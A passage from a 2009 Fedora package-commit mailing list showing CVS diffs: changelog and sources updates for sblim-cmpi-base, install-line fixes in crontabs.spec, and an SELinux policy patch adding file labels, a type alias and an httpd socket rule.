+* Tue Nov  4 2008 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.5.7-2
+- Fix %%files (to be able build -devel dependent packages)
+- Remove rpath from libraries
+- Spec file cleanup, rpmlint check
 
-%files devel
+* Fri Oct 24 2008 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.5.7-1
+- Update to 1.5.7
+  Resolves: #468325
 
-%defattr(-,root,root)
-%{_includedir}/*
-%{_libdir}/*.so
+* Wed Jul  2 2008 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.5.5-2
+- Fix testsuite dependency
 
-%files test
+* Tue Jul  1 2008 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.5.5-1
+- Update to 1.5.5
+- Spec file revision
 
-%defattr(-,root,root)
-%{_datadir}/sblim-testsuite
+* Mon Feb 18 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 1.5.4-8
+- Autorebuild for GCC 4.3
 
-%changelog
-* Thu Oct 05 2006 Christian Iseli <Christian.Iseli at licr.org> 1.5.4-6
- - rebuilt for unwind info generation, broken in gcc-4.1.1-21
+* Tue Dec 05 2006 Mark Hamzy <hamzy at us.ibm.com> - 1.5.4-7
+- Ignore failures when running provider-register.sh.  cimserver may be down
 
+* Thu Oct 05 2006 Christian Iseli <Christian.Iseli at licr.org> 1.5.4-6
+- rebuilt for unwind info generation, broken in gcc-4.1.1-21
 
 * Thu Nov 10 2005  <mihajlov at de.ibm.com> - 1.5.4-3
 - suppress error output in post scriptlets
@@ -133,5 +167,5 @@ rm -rf $RPM_BUILD_ROOT
 * Wed Oct 12 2005  <mihajlov at de.ibm.com> - 1.5.4-1
 - new spec file specifically for Fedora/RedHat
 
-* Wed Jul 20 2005 Mark Hamzy <hamzy at us.ibm.com>	1.5.3-1
+* Wed Jul 20 2005 Mark Hamzy <hamzy at us.ibm.com> - 1.5.3-1
 - initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-base/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	31 Jan 2006 21:20:04 -0000	1.2
+++ sources	12 Oct 2009 13:34:44 -0000	1.3
@@ -1 +1 @@
-10d9959925e9a416928dce18532855dc  sblim-cmpi-base-1.5.4.tar.bz2
+4524287b30a6dd623274354086044f68  sblim-cmpi-base-1.5.9.tar.bz2



From mmaslano at fedoraproject.org  Mon Oct 12 13:36:38 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 12 Oct 2009 13:36:38 +0000 (UTC)
Subject: rpms/crontabs/devel crontabs.spec,1.36,1.37
Message-ID: <20091012133638.5C9E511C00DB@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/crontabs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18685

Modified Files:
	crontabs.spec 
Log Message:
Fix typo in spec.



Index: crontabs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/crontabs/devel/crontabs.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- crontabs.spec	12 Oct 2009 12:16:13 -0000	1.36
+++ crontabs.spec	12 Oct 2009 13:36:38 -0000	1.37
@@ -32,9 +32,10 @@ rm -rf $RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT/etc/cron.{hourly,daily,weekly,monthly}
 mkdir -p $RPM_BUILD_ROOT/usr/bin
 mkdir -p $RPM_BUILD_ROOT/%{_mandir}/man4/
-install -m644 crontab $RPM_BUILD_ROOT/etc/crontab
-install -m755 run-parts $RPM_BUILD_ROOT/usr/bin/run-parts
-install -m644 crontabs.4 $RPM_BUILD_ROOT/%{_mandir}/man4/
+pwd
+install -m644 %SOURCE0 $RPM_BUILD_ROOT/etc/crontab
+install -m755 %SOURCE1 $RPM_BUILD_ROOT/usr/bin/run-parts
+install -m644 %SOURCE2 $RPM_BUILD_ROOT/%{_mandir}/man4/
 
 %clean
 rm -rf $RPM_BUILD_ROOT



From mmaslano at fedoraproject.org  Mon Oct 12 13:38:09 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 12 Oct 2009 13:38:09 +0000 (UTC)
Subject: rpms/crontabs/F-12 crontabs.spec,1.36,1.37
Message-ID: <20091012133809.3246D11C00DB@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/crontabs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18889

Modified Files:
	crontabs.spec 
Log Message:
Fix typo.



Index: crontabs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/crontabs/F-12/crontabs.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- crontabs.spec	12 Oct 2009 12:17:34 -0000	1.36
+++ crontabs.spec	12 Oct 2009 13:38:09 -0000	1.37
@@ -32,9 +32,9 @@ rm -rf $RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT/etc/cron.{hourly,daily,weekly,monthly}
 mkdir -p $RPM_BUILD_ROOT/usr/bin
 mkdir -p $RPM_BUILD_ROOT/%{_mandir}/man4/
-install -m644 crontab $RPM_BUILD_ROOT/etc/crontab
-install -m755 run-parts $RPM_BUILD_ROOT/usr/bin/run-parts
-install -m644 crontabs.4 $RPM_BUILD_ROOT/%{_mandir}/man4/
+install -m644 %SOURCE0 $RPM_BUILD_ROOT/etc/crontab
+install -m755 %SOURCE1 $RPM_BUILD_ROOT/usr/bin/run-parts
+install -m644 %SOURCE2 $RPM_BUILD_ROOT/%{_mandir}/man4/
 
 %clean
 rm -rf $RPM_BUILD_ROOT



From dwalsh at fedoraproject.org  Mon Oct 12 13:39:10 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Mon, 12 Oct 2009 13:39:10 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch, 1.104,
	1.105 selinux-policy.spec, 1.941, 1.942
Message-ID: <20091012133910.D14D411C00DB@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19055

Modified Files:
	policy-F12.patch selinux-policy.spec 
Log Message:
* Mon Oct 12 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-25
- Fix alias for execmem_exec_t
- Dontaudit hal leakage
- Add label for nspluginviewer


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    1 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   67 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   31 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   57 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   31 
 policy/modules/apps/execmem.if            |   74 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   13 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    7 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  183 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   28 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   34 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  183 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    8 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  410 ++++++++
 policy/modules/roles/unprivuser.te        |  131 --
 policy/modules/roles/xguest.te            |   36 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   21 
 policy/modules/services/abrt.te           |   21 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  439 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    5 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   19 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   35 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   11 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    7 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.te           |   10 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 ++++++
 policy/modules/services/plymouth.te       |   92 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   64 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    6 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   58 +
 policy/modules/services/rhcs.fc           |   21 
 policy/modules/services/rhcs.if           |  309 ++++++
 policy/modules/services/rhcs.te           |  340 +++++++
 policy/modules/services/ricci.te          |   21 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   33 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  205 +++-
 policy/modules/system/authlogin.te        |    9 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  159 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  227 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   76 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1430 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 349 files changed, 16477 insertions(+), 2632 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- policy-F12.patch	9 Oct 2009 16:03:29 -0000	1.104
+++ policy-F12.patch	12 Oct 2009 13:39:10 -0000	1.105
@@ -1827,8 +1827,8 @@ diff -b -B --ignore-all-space --exclude-
  	dbus_system_domain(cpufreqselector_t, cpufreqselector_exec_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.fc serefpolicy-3.6.32/policy/modules/apps/execmem.fc
 --- nsaserefpolicy/policy/modules/apps/execmem.fc	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/execmem.fc	2009-10-08 10:58:36.000000000 -0400
-@@ -0,0 +1,34 @@
++++ serefpolicy-3.6.32/policy/modules/apps/execmem.fc	2009-10-12 09:13:42.000000000 -0400
+@@ -0,0 +1,31 @@
 +/usr/bin/darcs 		--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/bin/haddock.*  	--	gen_context(system_u:object_r:execmem_exec_t,s0)
 +/usr/bin/hasktags   	--	gen_context(system_u:object_r:execmem_exec_t,s0)
@@ -1860,9 +1860,6 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/local/RealPlayer/realplay\.bin --	gen_context(system_u:object_r:execmem_exec_t,s0)
 +
 +/usr/lib/wingide-[^/]+/bin/PyCore/python -- gen_context(system_u:object_r:execmem_exec_t,s0)
-+
-+/usr/bin/mutter -- gen_context(system_u:object_r:execmem_exec_t,s0)
-+
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.if serefpolicy-3.6.32/policy/modules/apps/execmem.if
 --- nsaserefpolicy/policy/modules/apps/execmem.if	1969-12-31 19:00:00.000000000 -0500
 +++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-09 10:34:56.000000000 -0400
@@ -1943,7 +1940,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.te serefpolicy-3.6.32/policy/modules/apps/execmem.te
 --- nsaserefpolicy/policy/modules/apps/execmem.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/execmem.te	2009-10-02 10:36:43.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/execmem.te	2009-10-12 09:19:44.000000000 -0400
 @@ -0,0 +1,11 @@
 +
 +policy_module(execmem, 1.0.0)
@@ -1953,7 +1950,7 @@ diff -b -B --ignore-all-space --exclude-
 +# Declarations
 +#
 +
-+type execmem_exec_t;
++type execmem_exec_t alias unconfined_execmem_exec_t;
 +application_executable_file(execmem_exec_t)
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/firewallgui.fc serefpolicy-3.6.32/policy/modules/apps/firewallgui.fc
@@ -3172,8 +3169,8 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/nsplugin.fc serefpolicy-3.6.32/policy/modules/apps/nsplugin.fc
 --- nsaserefpolicy/policy/modules/apps/nsplugin.fc	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/nsplugin.fc	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,12 @@
++++ serefpolicy-3.6.32/policy/modules/apps/nsplugin.fc	2009-10-12 09:30:06.000000000 -0400
+@@ -0,0 +1,13 @@
 +HOME_DIR/\.adobe(/.*)?			gen_context(system_u:object_r:nsplugin_home_t,s0)
 +HOME_DIR/\.macromedia(/.*)?		gen_context(system_u:object_r:nsplugin_home_t,s0)
 +HOME_DIR/\.gstreamer-.*			gen_context(system_u:object_r:nsplugin_home_t,s0)
@@ -3183,6 +3180,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.icedteaplugin(/.*)?		gen_context(system_u:object_r:nsplugin_home_t,s0)
 +
 +/usr/bin/nspluginscan	--	gen_context(system_u:object_r:nsplugin_exec_t,s0)
++/usr/bin/nspluginviewer	--	gen_context(system_u:object_r:nsplugin_exec_t,s0)
 +/usr/lib(64)?/nspluginwrapper/npviewer.bin	--	gen_context(system_u:object_r:nsplugin_exec_t,s0)
 +/usr/lib(64)?/nspluginwrapper/plugin-config	--	gen_context(system_u:object_r:nsplugin_config_exec_t,s0)
 +/usr/lib(64)?/mozilla/plugins-wrapped(/.*)?			gen_context(system_u:object_r:nsplugin_rw_t,s0)
@@ -10124,7 +10122,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/apache.te serefpolicy-3.6.32/policy/modules/services/apache.te
 --- nsaserefpolicy/policy/modules/services/apache.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/apache.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/apache.te	2009-10-09 12:09:39.000000000 -0400
 @@ -19,6 +19,8 @@
  # Declarations
  #
@@ -10692,7 +10690,7 @@ diff -b -B --ignore-all-space --exclude-
  
  tunable_policy(`httpd_can_network_connect',`
  	allow httpd_suexec_t self:tcp_socket create_stream_socket_perms;
-@@ -631,22 +804,30 @@
+@@ -631,22 +804,31 @@
  
  	corenet_all_recvfrom_unlabeled(httpd_suexec_t)
  	corenet_all_recvfrom_netlabel(httpd_suexec_t)
@@ -10720,6 +10718,7 @@ diff -b -B --ignore-all-space --exclude-
  	domtrans_pattern(httpd_suexec_t, httpdcontent, httpd_sys_script_t)
 +	manage_dirs_pattern(httpd_sys_script_t, httpdcontent, httpdcontent)
 +	manage_files_pattern(httpd_sys_script_t, httpdcontent, httpdcontent)
++	manage_sock_files_pattern(httpd_sys_script_t, httpdcontent, httpdcontent)
 +	manage_lnk_files_pattern(httpd_sys_script_t, httpdcontent, httpdcontent)
  ')
 -
@@ -10730,7 +10729,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  tunable_policy(`httpd_enable_homedirs && use_nfs_home_dirs',`
-@@ -672,15 +853,14 @@
+@@ -672,15 +854,14 @@
  	dontaudit httpd_suexec_t httpd_t:unix_stream_socket { read write };
  ')
  
@@ -10749,7 +10748,7 @@ diff -b -B --ignore-all-space --exclude-
  allow httpd_sys_script_t httpd_t:tcp_socket { read write };
  
  dontaudit httpd_sys_script_t httpd_config_t:dir search;
-@@ -699,12 +879,24 @@
+@@ -699,12 +880,24 @@
  # Should we add a boolean?
  apache_domtrans_rotatelogs(httpd_sys_script_t)
  
@@ -10776,7 +10775,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  tunable_policy(`httpd_enable_homedirs && use_nfs_home_dirs',`
-@@ -712,6 +904,35 @@
+@@ -712,6 +905,35 @@
  	fs_read_nfs_symlinks(httpd_sys_script_t)
  ')
  
@@ -10812,7 +10811,7 @@ diff -b -B --ignore-all-space --exclude-
  tunable_policy(`httpd_enable_homedirs && use_samba_home_dirs',`
  	fs_read_cifs_files(httpd_sys_script_t)
  	fs_read_cifs_symlinks(httpd_sys_script_t)
-@@ -724,6 +945,10 @@
+@@ -724,6 +946,10 @@
  optional_policy(`
  	mysql_stream_connect(httpd_sys_script_t)
  	mysql_rw_db_sockets(httpd_sys_script_t)
@@ -10823,7 +10822,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -735,6 +960,8 @@
+@@ -735,6 +961,8 @@
  # httpd_rotatelogs local policy
  #
  
@@ -10832,7 +10831,7 @@ diff -b -B --ignore-all-space --exclude-
  manage_files_pattern(httpd_rotatelogs_t, httpd_log_t, httpd_log_t)
  
  kernel_read_kernel_sysctls(httpd_rotatelogs_t)
-@@ -754,6 +981,12 @@
+@@ -754,6 +982,12 @@
  
  tunable_policy(`httpd_enable_cgi && httpd_unified',`
  	allow httpd_user_script_t httpdcontent:file entrypoint;
@@ -10845,7 +10844,7 @@ diff -b -B --ignore-all-space --exclude-
